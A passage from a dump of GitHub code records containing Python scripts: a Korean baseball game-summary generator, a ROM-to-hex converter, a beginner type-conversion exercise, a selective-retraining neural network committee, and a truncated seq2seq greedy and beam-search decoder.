eleme[0]\n\t\t\tbest_tasun = int(eleme[1])\n\t\t\tbest_pos = eleme[2]\n\t\t\tbest_tasu = int(eleme[3])\n\t\t\tbest_anta = int(eleme[4])\n\t\t\tbest_tajum = int(eleme[5])\n\t\t\tbest_homerun = int(eleme[6])\t\t\n\ttotal_tayool = float(total_anta)/float(total_tasu)\n#\tprint total_tasu\n#\tprint total_anta\n#\tprint total_tayool\n\tif best_tasun >= 3 and best_tasun<= 5:\n\t\t#print '중심 타자 '\n\t\tSentence3_str += '중심 타자 '\n\telse:\n\t\t#print best_tasun+'번 타자 '\n\t\tSentence3_str +=str(best_tasun)+'번 타자 '\n\t#print best_name+'은(는) ' + str(best_tasu)+'타수 ' \n\tSentence3_str +=best_name+'은(는) ' + str(best_tasu)+'타수 '\n\tif best_tajum <= 2:\n\t\t#print str(best_anta)+'안타 '\n\t\tSentence3_str +=str(best_anta)+'안타 '\n\t\tif best_homerun >= 1:\n\t#\t\tprint str(best_homerun)+'홈런 '\n\t\t\tSentence3_str += str(best_homerun)+'홈런 '\n\t\t#print str(best_tajum)+'타점으로 선전했고 '\n\t\tSentence3_str +=str(best_tajum)+'타점으로 선전했고 '\n\telse :\n\t\t#print str(best_anta)+'안타 '\n\t\tSentence3_str +=str(best_anta)+'안타 '\n\t\tif best_homerun >= 1:\n#\t\t\tprint str(best_homerun)+'홈런 '\n\t\t\tSentence3_str +=str(best_homerun)+'홈런 '\n#\t\tprint str(best_tajum)+'타점으로 폭발하여 '\n\t\tSentence3_str +=str(best_tajum)+'타점으로 폭발하여 '\n\tif total_tayool < 0.2:\n#\t\tprint '부진했단 타선을 이끌고 팀을 승리로 이끌었습니다.'\n\t\tSentence3_str +='부진했단 타선을 이끌고 팀을 승리로 이끌었습니다.'\n\telif total_tayool > 0.26:\n#\t\tprint '활발했던 타선과 함께 팀에게 승리를 안겼습니다.'\n\t\tSentence3_str +='활발했던 타선과 함께 팀에게 승리를 안겼습니다.'\n\telse:\n#\t\tprint '타선을 이끌고 팀을 승리로 이끌었습니다.'\n\t\tSentence3_str +='타선을 이끌고 팀을 승리로 이끌었습니다.'\n#\tprint Sentence3_str\t\n\ttxtfile.write(Sentence3_str)\n#이름, 타순, 포지션, 타수, 안타, 타점 홈런\n#0\t\t1\t\t2\t\t3\t4\t 5\t6\ndef sentence4():\n\tSentence4_str = ''\n#\tprint B_name+'의 선발투수 '+B_pitcher_name+'은(는) '+ str(B_pitcher_inning)+'이닝 '+str(B_pitcher_k)+'K '+str(B_pitcher_lost)+'실점'\n\tSentence4_str +=B_name+'의 선발투수 '+B_pitcher_name+'은(는) '+ str(B_pitcher_inning)+'이닝 '+str(B_pitcher_k)+'K '+str(B_pitcher_lost)+'실점'\n\tif B_pitcher_inning == 9:\n#\t\tprint '의 위력투를 펼쳤지만, 팀 타선의 침묵으로 완투패를 당했습니다.'\n\t\tSentence4_str +='의 위력투를 펼쳤지만, 팀 타선의 침묵으로 완투패를 당했습니다.'\n\telif B_pitcher_lost > B_pitcher_inning+2 :\n#\t\tprint '으로 무너져 팀의 패배를 막지 못했습니다.'\n\t\tSentence4_str +='으로 무너져 팀의 패배를 막지 못했습니다.'\n\telif B_pitcher_lost >= B_pitcher_inning-2:\n#\t\tprint '으로 버텼지만, '\n\t\tSentence4_str +='으로 버텼지만, '\n#\t\tloopbysentence4_pitcher(Sentence4_str)\n\t\tif int(B_score) <= 5:\t\t\n\t\t\t'''5점은 리그 평균득점'''\n#\t\t\tprint '타선의 부진으로, 팀의 패배를 허용할 수 밖에 없었습니다.'\n\t\t\tSentence4_str +='타선의 부진으로, 팀의 패배를 허용할 수 밖에 없었습니다.'\n\t\telif int(A_score) - int(B_score) >= int(A_score) - B_pitcher_lost + 3:\n#\t\t\tprint str(B_bullpen_inning)+'이닝 '+str(B_bullpen_lost)+'실점의 불펜의 붕괴를 이겨내지 못하고, 패배를 허용했습니다.'\n\t\t\tSentence4_str +=str(B_bullpen_inning)+'이닝 '+str(B_bullpen_lost)+'실점의 불펜의 붕괴를 이겨내지 못하고, 패배를 허용했습니다.'\n\t\telse:\n#\t\t\tprint '팀의 전반적인 투타밸런스가 좋지않아, 패배를 허용했습니다.'\n\t\t\tSentence4_str +='팀의 전반적인 투타밸런스가 좋지않아, 패배를 허용했습니다.'\n\telif B_pitcher_inning <= 6:\n#\t\tprint '으로 마운드를 지켜냈지만, '\n\t\tSentence4_str +='으로 마운드를 지켜냈지만, '\n\t\tif int(B_score) <= 5:\t\t\n\t\t\t'''5점은 리그 평균득점'''\n#\t\t\tprint '타선의 부진으로, 팀의 패배를 허용할 수 밖에 없었습니다.'\n\t\t\tSentence4_str +='타선의 부진으로, 팀의 패배를 허용할 수 밖에 없었습니다.'\n\t\telif int(A_score) - int(B_score) >= int(A_score) - B_pitcher_lost + 3:\n#\t\t\tprint str(B_bullpen_inning)+'이닝 '+str(B_bullpen_lost)+'실점의 불펜의 붕괴를 이겨내지 못하고, 패배를 허용했습니다.'\n\t\t\tSentence4_str +=str(B_bullpen_inning)+'이닝 '+str(B_bullpen_lost)+'실점의 불펜의 붕괴를 이겨내지 못하고, 패배를 허용했습니다.'\n\t\telse:\n#\t\t\tprint '팀의 전반적인 투타밸런스가 좋지않아, 패배를 허용했습니다.'\n\t\t\tSentence4_str +='팀의 전반적인 투타밸런스가 좋지않아, 패배를 허용했습니다.'\n\t\t#loopbysentence4_pitcher(Sentence4_str)\n\telse:\n#\t\tprint '의 훌륭한 투구를 펼쳤지만, ' \t\n\t\tSentence4_str +='의 훌륭한 투구를 펼쳤지만, '\n\t\tif int(B_score) <= 5:\t\t\n\t\t\t'''5점은 리그 평균득점'''\n#\t\t\tprint '타선의 부진으로, 팀의 패배를 허용할 수 밖에 없었습니다.'\n\t\t\tSentence4_str +='타선의 부진으로, 팀의 패배를 허용할 수 밖에 없었습니다.'\n\t\telif int(A_score) - int(B_score) >= int(A_score) - B_pitcher_lost + 3:\n#\t\t\tprint str(B_bullpen_inning)+'이닝 '+str(B_bullpen_lost)+'실점의 불펜의 붕괴를 이겨내지 못하고, 패배를 허용했습니다.'\n\t\t\tSentence4_str +=str(B_bullpen_inning)+'이닝 '+str(B_bullpen_lost)+'실점의 불펜의 붕괴를 이겨내지 못하고, 패배를 허용했습니다.'\n\t\telse:\n#\t\t\tprint '팀의 전반적인 투타밸런스가 좋지않아, 패배를 허용했습니다.'\n\t\t\tSentence4_str +='팀의 전반적인 투타밸런스가 좋지않아, 패배를 허용했습니다.'\n#\t\tloopbysentence4_pitcher(Sentence4_str)\n\t\n#\tprint B_name+'의 '\n\tSentence4_str +=B_name+'의 '\n\tif int(B_best_attack_num) >= 3 and int(B_best_attack_num)<= 5:\n#\t\tprint '중심 타자 '\n\t\tSentence4_str +='중심 타자 '\n\telse:\n#\t\tprint B_best_attack_tan+'번 타자 '\n\t\tSentence4_str +=B_best_attack_tan+'번 타자 '\n#\tprint B_best_attack_name+'은(는) ' + str(B_best_attack_tan)+'타수 '\n\tSentence4_str +=B_best_attack_name+'은(는) ' + str(B_best_attack_tan)+'타수 '\n\tif B_best_attack_anta <= 1:\n#\t\tprint str(B_best_attack_anta)+'안타의 부진으로 팀을 위기에서 구해내지 못했습니다.'\n\t\tSentence4_str +=str(B_best_attack_anta)+'안타의 부진으로 팀을 위기에서 구해내지 못했습니다.'\n\telse:\n\t\tif B_best_attack_ta <= 2:\n#\t\t\tprint str(B_best_attack_anta)+'안타 '\n\t\t\tSentence4_str +=str(B_best_attack_anta)+'안타 '\n\t\t\tif int(B_best_attack_home) >= 1:\n#\t\t\t\tprint str(B_best_attack_home)+'홈런 '\n\t\t\t\tSentence4_str +=str(B_best_attack_home)+'홈런 '\n#\t\t\tprint str(B_best_attack_ta)+'타점으로 선전했지만, 팀 패배로 빛이 바랬습니다.'\n\t\t\tSentence4_str +=str(B_best_attack_ta)+'타점으로 선전했지만, 팀 패배로 빛이 바랬습니다.'\n\t\telse :\n#\t\t\tprint str(B_best_attack_anta)+'안타 '\n\t\t\tSentence4_str +=str(B_best_attack_anta)+'안타 '\n\t\t\tif int(B_best_attack_home) >= 1:\n#\t\t\t\tprint str(B_best_attack_home)+'홈런 '\n\t\t\t\tSentence4_str +=str(B_best_attack_home)+'홈런 '\n#\t\t\tprint str(B_best_attack_ta)+'타점으로 폭발했지만, 팀 패배로 빛이 바랬습니다.'\n\t\t\tSentence4_str += str(B_best_attack_ta)+'타점으로 폭발했지만, 팀 패배로 빛이 바랬습니다.'\n#\tprint Sentence4_str\n\ttxtfile.write(Sentence4_str)\n'''def loopbysentence4_pitcher(Sentence4_str):\n\tif int(B_score) <= 5:\t\t\n#\t\tprint '타선의 부진으로, 팀의 패배를 허용할 수 밖에 없었습니다.'\n\t\tSentence4_str +='타선의 부진으로, 팀의 패배를 허용할 수 밖에 없었습니다.'\n\telif int(A_score) - int(B_score) >= int(A_score) - B_pitcher_lost + 3:\n#\t\tprint str(B_bullpen_inning)+'이닝 '+str(B_bullpen_lost)+'실점의 불펜의 붕괴를 이겨내지 못하고, 패배를 허용했습니다.'\n\t\tSentence4_str +=str(B_bullpen_inning)+'이닝 '+str(B_bullpen_lost)+'실점의 불펜의 붕괴를 이겨내지 못하고, 패배를 허용했습니다.'\n\telse:\n#\t\tprint '팀의 전반적인 투타밸런스가 좋지않아, 패배를 허용했습니다.'\n\t\tSentence4_str +='팀의 전반적인 투타밸런스가 좋지않아, 패배를 허용했습니다.'\n'''\ndef sentence5():\n\tSentence5_str = ''\n#\tprint '지금까지 프로야구 오토봇 Voidness였습니다.'\n\tSentence5_str +='지금까지 프로야구 오토봇 Voidness였습니다.'\n#\tprint Sentence5_str\t\n\ttxtfile.write(Sentence5_str)\n\ttxtfile.write('\\n')\n\nABflag = False\n\nwhile textline:\n\tif line_num == 1:\n\t\tif int(textline.split()[4]) > int(textline.split()[5]):\n\t\t\tA_name = textline.split()[1]\n\t\t\tB_name = textline.split()[3]\n\t\t\tA_score = textline.split()[4]\n\t\t\tB_score = textline.split()[5]\n\t\telse:\n\t\t\tA_name = textline.split()[3]\n\t\t\tB_name = textline.split()[1]\n\t\t\tA_score = textline.split()[5]\n\t\t\tB_score = textline.split()[4]\n\t\t\tABflag = True\n\n\tif '투구수' in textline and Apitcherflag == False:\t\t\n\t\tline_num = line_num + 1\n\t\ttextline = article.readline()\n\t\tif ABflag == True:\n\t\t\tB_pitcher_inning = float(textline.split()[1])\n\t\t\tB_pitcher_lost = int(textline.split()[7])\n\t\t\tB_pitcher_name = textline.split()[0]\n\t\t\tB_pitcher_k = int(textline.split()[6])\n\t\telse:\n\t\t\tA_pitcher_inning = float(textline.split()[1])\n\t\t\tA_pitcher_lost = int(textline.split()[7])\n\t\t\tA_pitcher_name = textline.split()[0]\n\t\t\tA_pitcher_k = int(textline.split()[6])\n\n\t\tline_num = line_num + 1\n\t\ttextline = article.readline()\n\t\twhile 1:\n\t\t\tif '타순' not in textline:\n\t\t\t\tif ABflag == True:\n\t\t\t\t\tB_bullpen_inning = B_bullpen_inning + float(textline.split()[1])\n\t\t\t\t\ttemp = B_bullpen_inning*10\n\t\t\t\t\ttemp = temp%10;\n\t\t\t\t\tif temp >= 3 :\n\t\t\t\t\t\tB_bullpen_inning += 1;\n\t\t\t\t\t\tB_bullpen_inning -=0.3;\n\t\t\t\t\tB_bullpen_lost = B_bullpen_lost + int(textline.split()[7])\n\t\t\t\telse:\n\t\t\t\t\tA_bullpen_inning = A_bullpen_inning + float(textline.split()[1])\n\t\t\t\t\ttemp = A_bullpen_inning*10\n\t\t\t\t\ttemp = temp%10;\n\t\t\t\t\tif temp >= 3 :\n\t\t\t\t\t\tA_bullpen_inning += 1;\n\t\t\t\t\t\tA_bullpen_inning -=0.3;\n\t\t\t\t\tA_bullpen_lost = A_bullpen_lost + int(textline.split()[7])\n\t\t\t\tline_num = line_num + 1\n\t\t\t\ttextline = article.readline()\n\t\t\telse:\n\t\t\t\tbreak\n\n\t\tline_num = line_num + 1\n\t\ttextline = article.readline()\n\t\twhile 1:\n\t\t\tif '이닝' not in textline:\n\t\t\t\tif ABflag == True:\n\t\t\t\t\tif float(textline.split()[6]) > float(B_best_attack_ta):\n\t\t\t\t\t\tB_best_attack_num = textline.split()[0]\n\t\t\t\t\t\tB_best_attack_name = textline.split()[1]\n\t\t\t\t\t\tB_best_attack_pos = textline.split()[2]\n\t\t\t\t\t\tB_best_attack_tan = textline.split()[3]\n\t\t\t\t\t\tB_best_attack_anta = textline.split()[5]\n\t\t\t\t\t\tB_best_attack_ta = textline.split()[6]\n\t\t\t\t\t\tB_best_attack_home = textline.split()[7]\n\t\t\t\t\telif float(textline.split()[6]) == float(B_best_attack_ta):\n\t\t\t\t\t\tif float(textline.split()[6]) == 0:\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t\telif float(textline.split()[5])/float(textline.split()[6]) > float(B_best_attack_anta)/float(B_best_attack_anta):\n\t\t\t\t\t\t\tB_best_attack_num = textline.split()[0]\n\t\t\t\t\t\t\tB_best_attack_name = textline.split()[1]\n\t\t\t\t\t\t\tB_best_attack_pos = textline.split()[2]\n\t\t\t\t\t\t\tB_best_attack_tan = textline.split()[3]\n\t\t\t\t\t\t\tB_best_attack_anta = textline.split()[5]\n\t\t\t\t\t\t\tB_best_attack_ta = textline.split()[6]\n\t\t\t\t\t\t\tB_best_attack_home = textline.split()[7]\n\t\t\t\telse:\n\t\t\t\t\tA_attack.append(textline.split()[1])\n\t\t\t\t\tA_attack.append(textline.split()[0])\n\t\t\t\t\tA_attack.append(textline.split()[2])\n\t\t\t\t\tA_attack.append(textline.split()[3])\n\t\t\t\t\tA_attack.append(textline.split()[5])\n\t\t\t\t\tA_attack.append(textline.split()[6])\n\t\t\t\t\tA_attack.append(textline.split()[7])\n\t\t\t\t\tA_attack_list.append(tuple(A_attack))\n\t\t\t\t\tA_attack = []\n\t\t\t\tline_num = line_num + 1\n\t\t\t\ttextline = article.readline()\n\t\t\telse:\n\t\t\t\tbreak\n\t\t\"\"\"\n\t\tfor eleme in A_attack_list:\n\t\t\tprint eleme[0]\n\t\t\"\"\"\n\t\tApitcherflag = True\n\n\telif Bpitcherflag == False and Apitcherflag == True:\n\t\tif ABflag == True:\n\t\t\tA_pitcher_inning = float(textline.split()[1])\n\t\t\tA_pitcher_lost = int(textline.split()[7])\n\t\t\tA_pitcher_name = textline.split()[0]\n\t\t\tA_pitcher_k = int(textline.split()[6])\n\t\telse:\n\t\t\tB_pitcher_inning = float(textline.split()[1])\n\t\t\tB_pitcher_lost = int(textline.split()[7])\n\t\t\tB_pitcher_name = textline.split()[0]\n\t\t\tB_pitcher_k = int(textline.split()[6])\n\n\t\tline_num = line_num + 1\n\t\ttextline = article.readline()\n\t\twhile 1:\n\t\t\tif '타순' not in textline:\n\t\t\t\tif ABflag == True:\n\t\t\t\t\tA_bullpen_inning = A_bullpen_inning + float(textline.split()[1])\n\t\t\t\t\tA_bullpen_lost = A_bullpen_lost + int(textline.split()[7])\n\t\t\t\t\ttemp = A_bullpen_inning*10\n\t\t\t\t\ttemp = temp%10;\n\t\t\t\t\tif temp >= 3:\n\t\t\t\t\t\tA_bullpen_inning += 1;\n\t\t\t\t\t\tA_bullpen_inning -=0.3;\n\t\t\t\telse:\n\t\t\t\t\tB_bullpen_inning = B_bullpen_inning + float(textline.split()[1])\n\t\t\t\t\tB_bullpen_lost = B_bullpen_lost + int(textline.split()[7])\n\t\t\t\t\ttemp = B_bullpen_inning*10\n\t\t\t\t\ttemp = temp%10;\n\t\t\t\t\tif temp >= 3:\n\t\t\t\t\t\tB_bullpen_inning += 1;\n\t\t\t\t\t\tB_bullpen_inning -=0.3;\n\n\t\t\t\tline_num = line_num + 1\n\t\t\t\ttextline = article.readline()\n\t\t\telse:\n\t\t\t\tbreak\n\n\n\t\tline_num = line_num + 1\n\t\ttextline = article.readline()\n\t\t\n\t\twhile 1:\n\t\t\tif 'LineUp' not in textline:\n\t\t\t\tif ABflag == True:\n\t\t\t\t\tA_attack.append(textline.split()[1])\n\t\t\t\t\tA_attack.append(textline.split()[0])\n\t\t\t\t\tA_attack.append(textline.split()[2])\n\t\t\t\t\tA_attack.append(textline.split()[3])\n\t\t\t\t\tA_attack.append(textline.split()[5])\n\t\t\t\t\tA_attack.append(textline.split()[6])\n\t\t\t\t\tA_attack.append(textline.split()[7])\n\t\t\t\t\tA_attack_list.append(tuple(A_attack))\n\t\t\t\t\tA_attack = []\n\t\t\t\telse:\n\t\t\t\t\tif float(textline.split()[6]) > float(B_best_attack_ta):\n\t\t\t\t\t\tB_best_attack_num = textline.split()[0]\n\t\t\t\t\t\tB_best_attack_name = textline.split()[1]\n\t\t\t\t\t\tB_best_attack_pos = textline.split()[2]\n\t\t\t\t\t\tB_best_attack_tan = textline.split()[3]\n\t\t\t\t\t\tB_best_attack_anta = textline.split()[5]\n\t\t\t\t\t\tB_best_attack_ta = textline.split()[6]\n\t\t\t\t\t\tB_best_attack_home = textline.split()[7]\n\t\t\t\t\telif float(textline.split()[6]) == float(B_best_attack_ta):\n\t\t\t\t\t\tif textline.split()[6] == 0:\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t\telif float(textline.split()[5])/float(textline.split()[6]) > float(B_best_attack_anta)/float(B_best_attack_anta):\n\t\t\t\t\t\t\tB_best_attack_num = textline.split()[0]\n\t\t\t\t\t\t\tB_best_attack_name = textline.split()[1]\n\t\t\t\t\t\t\tB_best_attack_pos = textline.split()[2]\n\t\t\t\t\t\t\tB_best_attack_tan = textline.split()[3]\n\t\t\t\t\t\t\tB_best_attack_anta = textline.split()[5]\n\t\t\t\t\t\t\tB_best_attack_ta = textline.split()[6]\n\t\t\t\t\t\t\tB_best_attack_home = textline.split()[7]\n\n\t\t\t\tline_num = line_num + 1\n\t\t\t\ttextline = article.readline()\n\t\t\telse:\n\t\t\t\tbreak\n\t\tBpitcherflag = True\n\n\tline_num = line_num + 1\n\ttextline = article.readline()\n\n\n\n\n\n#----------------------------\n\t\t\nsentence1()\n\nsentence2()\nsentence3()\nsentence4()\nsentence5()\n\ntxtfile.close()\n","repo_name":"VoidnessX/BaseAuto","sub_path":"Baseball_Automation/src/Epics_nlp.py","file_name":"Epics_nlp.py","file_ext":"py","file_size_in_byte":19971,"program_lang":"python","lang":"ko","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"15191160609","text":"import sys\nimport os.path\n\nimport numpy\n\ndata = numpy.fromfile(sys.argv[1], dtype=numpy.uint8)\nif len(data) != 65536:\n\traise RuntimeError('Incorrect data length: %d' % len(data))\n\ndata = numpy.reshape(data, (len(data) // 2, 2))\ns = ''.join(['%02x%02x\\n' % (l, h) for h, l in data])\nwith open(sys.argv[2], 'w') as f:\n\tf.write(s)\n","repo_name":"jboone/robotron-fpga-verilog","sub_path":"sw/mkhex.py","file_name":"mkhex.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"67"} +{"seq_id":"71725065814","text":"# x = input(\"1.sayı: \")\n# y = input(\"2.sayı: \")\n# toplam = int(x) + int(y)\n\n# print(toplam)\n\nx = 5 #int\ny = 2.5 #float\nname = \"Dogi\" #string\nisOnline = True #bool\n\n# print(tpye(x))\n# print(tpye(y))\n# print(tpye(name))\n\n# x = float(x)\n# print(x)\n# print(type(x))\n\nresult = int(x + y)\nprint(result)\nprint(type(result))\n\n","repo_name":"Nyilmaz606/python","sub_path":"python1/ders/1.py/type-conversion.py","file_name":"type-conversion.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42545388630","text":"import numpy as np\nimport pandas as pd\nfrom sklearn.neural_network import MLPClassifier\nfrom copy import deepcopy\n\n\nclass SelectiveRetrainingNetwork(MLPClassifier):\n def __init__(self, hidden_layer_sizes, learning_rate_init, random_state, activation):\n self.retrain_pass = False\n self.position_missing = None\n self.weight_threshold = 0\n super().__init__(hidden_layer_sizes=hidden_layer_sizes,\n learning_rate_init=learning_rate_init,\n random_state=random_state,\n activation=activation)\n\n def selective_fit(self, features, labels, position_missing, weight_threshold):\n \"\"\" Triggering the selective retraining process. The network will be retrained on an incomplete training set\n (missing feature determined by position_missing). Only nodes, weights and intercepts which are 'affected' by\n the missing feature are readjusted.\n\n Parameters\n ----------\n features: array of shape [n_samples, n_features]\n Samples to be used for retraining of the NN\n labels: array of shape [n_samples]\n Labels for class membership of each sample\n position_missing: integer\n The position of the feature within the samples that shall be treated as 'missing' during the retraining\n weight_threshold: float\n Determines which of the NN's weights and nodes are considered as affected by the missing feature and\n readjusted after the backpropagation and loss calculation\n \"\"\"\n self.retrain_pass = True\n self.position_missing = position_missing\n self.weight_threshold = weight_threshold\n super().fit(features, labels)\n self.retrain_pass = False\n\n def _backprop(self, x, y, activations, deltas, coef_grads, intercept_grads):\n \"\"\"Compute the loss function and its corresponding derivatives with respect to each parameter: weights and bias\n vectors. In case this function is called during a selective retraining step, calculations are restricted to\n the derivatives for affected nodes only.\n\n Parameters\n ----------\n x : {array-like, sparse matrix}, shape [n_samples, n_features]\n The input data.\n y : array of shape [n_samples]\n The target values.\n activations : list, length = n_layers - 1\n The ith element of the list holds the values of the ith layer.\n deltas : list, length = n_layers - 1\n The ith element of the list holds the difference between the activations of the i + 1 layer and the\n backpropagated error. More specifically, deltas are gradients of loss with respect to z in each layer, where\n z = wx + b is the value of a particular layer before passing through the activation function\n coef_grads : list, length = n_layers - 1\n The ith element contains the amount of change used to update the coefficient parameters of the ith layer in\n an iteration.\n intercept_grads : list, length = n_layers - 1\n The ith element contains the amount of change used to update the intercept parameters of the ith layer in\n an iteration.\n\n Returns\n -------\n loss : float\n coef_grads : list, length = n_layers - 1\n intercept_grads : list, length = n_layers - 1\n \"\"\"\n if self.retrain_pass:\n # normalize weight threshold\n maxs = []\n mins = []\n for w1 in self.coefs_:\n maxs_temp = []\n mins_temp = []\n for w2 in w1:\n maxs_temp.append(max(w2, key=abs))\n mins_temp.append(min(w2, key=abs))\n maxs.append(max(maxs_temp, key=abs))\n mins.append(min(mins_temp, key=abs))\n\n weight_range = abs(max(maxs, key=abs)) - abs(min(mins, key=abs))\n normalized_threshold = abs(min(mins, key=abs)) + weight_range * self.weight_threshold\n\n # determine nodes & weights affected by missing feature\n affected_nodes = []\n affected_coefs = []\n affected_nodes.append([0] * len(activations[0][0]))\n affected_nodes[0][self.position_missing] = 1\n for layer in range(1, len(activations)):\n affected_nodes.append([0] * len(activations[layer][0]))\n layer_weights = []\n for node in range(0, len(self.coefs_[layer-1])):\n if affected_nodes[layer - 1][node] == 1:\n weights = [0] * len(self.coefs_[layer-1][node])\n for m in range(0, len(self.coefs_[layer-1][node])):\n if abs(self.coefs_[layer-1][node][m]) > normalized_threshold:\n weights[m] = 1\n affected_nodes[layer][m] = 1\n else:\n weights = [0] * len(self.coefs_[layer-1][node])\n layer_weights.append(weights)\n affected_coefs.append(layer_weights)\n\n # restrict coef & intercept adjustment to nodes affected to by setting the deltas for all others to 0\n deltas = [d * n for d, n in zip(deltas, affected_nodes)]\n\n loss, coef_grads, intercept_grads = super()._backprop(x, y, activations, deltas, coef_grads, intercept_grads)\n\n return loss, coef_grads, intercept_grads\n\n\nclass SelectiveRetrainingCommittee:\n def __init__(self, learning_rate_init, hidden_layer_sizes, random_state, activation, labels):\n self.retrained_networks = None\n self.labels = labels\n self.selective_network = SelectiveRetrainingNetwork(hidden_layer_sizes=hidden_layer_sizes,\n learning_rate_init=learning_rate_init,\n random_state=random_state,\n activation=activation)\n\n def fit(self, features, labels, weight_threshold):\n \"\"\" Triggering the committee training process. In a first step, an 'original' neural network is trained on the\n complete training data. Subsequently, for each of the features, the 'original' NN is copied and selectively\n retrained on the adjusted training data missing the respective feature.\n\n Parameters\n ----------\n features: array of shape [n_samples, n_features]\n Samples to be used for training of the NNs\n labels: array of shape [n_samples]\n Labels for class membership of each sample\n weight_threshold: float\n Determines which of the NN's weights and nodes are considered as affected by the missing feature and\n readjusted after the backpropagation and loss calculation (to be forwarded to the retraining process)\n \"\"\"\n # train 'basic' neural network using the complete data set\n self.selective_network = self.selective_network.fit(features, labels)\n self.retrained_networks = []\n\n # retrain one 'new' network for each missing feature (combination):\n # retrain 'original' network on an incomplete data set, selectively adjusting only nodes affected by the\n # missing feature(s)\n for i in range(0, len(features[0])):\n print(\"Retraining network \", i + 1, \" of \", len(features[0]))\n features_incomplete = np.copy(features)\n features_incomplete[:, i] = 0\n retrained_network = deepcopy(self.selective_network)\n retrained_network.selective_fit(features_incomplete, labels, i, weight_threshold)\n self.retrained_networks.append(retrained_network)\n\n def predict(self, points, data_frame=False, inverted_weights=None):\n \"\"\"Classify the given input using the retraining committee. If no features is missing for a data point, use\n original network for classification only. If data is missing, classify the point with specific retrained\n classifiers for each of the missing features and return the majority vote (weighted if weights are given).\n\n Parameters\n ----------\n points: array of shape [n_samples, n_features]\n Samples to be classified\n data_frame: boolean\n Indicates whether the label array to be returned should be transformed to a data frame\n inverted_weights: None or array of shape [n_features]\n inverted weight of each feature, i.e. how much weight an algorithm missing the incorporation of this feature\n should have\n\n Returns\n ----------\n y_predicted: array of shape [n_samples]\n Predicted labels for the given points\n \"\"\"\n y_predicted = []\n for p in range(0, len(points)):\n # determine if/which feature is missing\n index = np.where(points[p] == 0)\n if not index[0].size:\n # if no features is missing, use original network for classification\n y_predicted.append(self.selective_network.predict([points[p]])[0])\n else:\n # classify point with specific retrained classifiers for each of the missing features\n summed_results = [0] * self.selective_network.n_outputs_\n if inverted_weights is not None:\n # calculate sum of inverted LRP weights for normalization purposes\n summed_weights = [inverted_weights[x] for x in index[0]]\n summed_weights = sum(summed_weights)\n for f in range(0, index[0].size):\n results = self.retrained_networks[index[0][f]].predict_proba([points[p]])\n if inverted_weights is not None:\n # weight predictions according to inverted LRP scores\n results = [x * (inverted_weights[index[0][f]]/summed_weights) for x in results]\n summed_results = [x + y for x, y in zip(summed_results, results[0])]\n # determine weighted majority vote result\n prediction = self.labels[summed_results.index(max(summed_results))]\n y_predicted.append(prediction)\n if data_frame:\n y_predicted = pd.DataFrame(y_predicted)\n else:\n y_predicted = np.asarray(y_predicted)\n return y_predicted\n\n def predict_without_retraining(self, points):\n \"\"\"Classify the given input using the 'original' network trained on the complete data set only.\n\n Parameters\n ----------\n points: array of shape [n_samples, n_features]\n Samples to be classified\n\n Returns\n ----------\n y_predicted: array of shape [n_samples]\n Predicted labels for the given points\n \"\"\"\n predictions = self.selective_network.predict(points)\n\n return predictions\n","repo_name":"AlinaP23/master_thesis","sub_path":"classification/SelectiveRetraining.py","file_name":"SelectiveRetraining.py","file_ext":"py","file_size_in_byte":10996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72904545493","text":"import os\r\nimport torch\r\nimport argparse\r\nfrom Beam import Beam\r\nimport torch.nn.functional as F\r\nimport time\r\n\r\n\r\ndef print_summaries(summaries, vocab, output_dir, pattern='%d.txt'):\r\n \"\"\"\r\n param summaries: in shape (seq_len, batch)\r\n \"\"\"\r\n i2w = {key: value for value, key in vocab.items()}\r\n i2w[vocab['']] = 'UNK'\r\n\r\n for idx in range(len(summaries)):\r\n fout = open(os.path.join(output_dir, pattern % idx), \"w\")\r\n line = [summaries[idx][0]]\r\n for tok in summaries[idx][1:]:\r\n if tok in [vocab[''], vocab['']]:\r\n break\r\n if tok != line[-1]:\r\n line.append(tok)\r\n if len(line)==0:\r\n line.append(3) # 3 for unk\r\n line = [i2w[tok] for tok in line]\r\n fout.write(\" \".join(line[1:]) + \"\\n\")\r\n fout.close()\r\n\r\n\r\ndef greedy(model, x, tgt_vocab, max_trg_len=20, repl_unk=False):\r\n y = torch.ones(len(x), max_trg_len, dtype=torch.long).cuda() * tgt_vocab[\"\"]\r\n y[:, 0] = tgt_vocab[\"\"]\r\n enc_outputs = model.encode(x)\r\n # print(enc_outputs.shape)\r\n for i in range(max_trg_len - 1):\r\n logits, dec_enc_attns = model.decode(enc_outputs, x, y[:, :i+1])\r\n y[:, i + 1] = torch.argmax(logits[:, i, :], dim=-1)\r\n if repl_unk:\r\n argmax = dec_enc_attns[:,i,:].argmax(dim=-1)\r\n for j in range(y.shape[0]):\r\n if int(y[j,i+1].cpu().detach()) == tgt_vocab['']:\r\n y[j,i+1] == x[j, int(argmax[j].cpu().detach())]\r\n return y.detach().cpu().tolist(), dec_enc_attns\r\n\r\n\r\ndef beam_search(model, batch_x, vocab, max_trg_len=18, k=3):\r\n beams = [Beam(k, vocab, max_trg_len) for _ in range(batch_x.shape[0])]\r\n enc_outputs = model.encode(batch_x)\r\n\r\n for i in range(max_trg_len):\r\n todo = [j for j in range(len(beams)) if not beams[j].done]\r\n xs = torch.cat([batch_x[j].unsqueeze(0).expand(k, -1) for j in todo], dim=0)\r\n ys = torch.cat([beams[j].get_sequence() for j in todo], dim=0)\r\n enc_outs = torch.cat([enc_outputs[j].unsqueeze(0).expand(k, -1, -1) for j in todo], dim=0)\r\n logits, *_ = model.decode(enc_outs, xs, ys[:, :i+1])\r\n log_probs = torch.log(F.softmax(logits[:, i, :], -1))\r\n idx = 0\r\n for j in todo:\r\n beams[j].advance_v1(log_probs[idx: idx+k])\r\n idx += k\r\n\r\n allHyp = [b.get_hyp().cpu().numpy() for b in beams]\r\n return allHyp\r\n\r\n\r\ndef translate(valid_x, model, tgt_vocab, search='greedy', beam_width=5):\r\n summaries = []\r\n model.eval()\r\n start = time.time()\r\n with torch.no_grad():\r\n for i in range(valid_x.steps):\r\n _, batch_x = valid_x.next_batch()\r\n if search == \"greedy\":\r\n summary, dec_enc_attns = greedy(model, 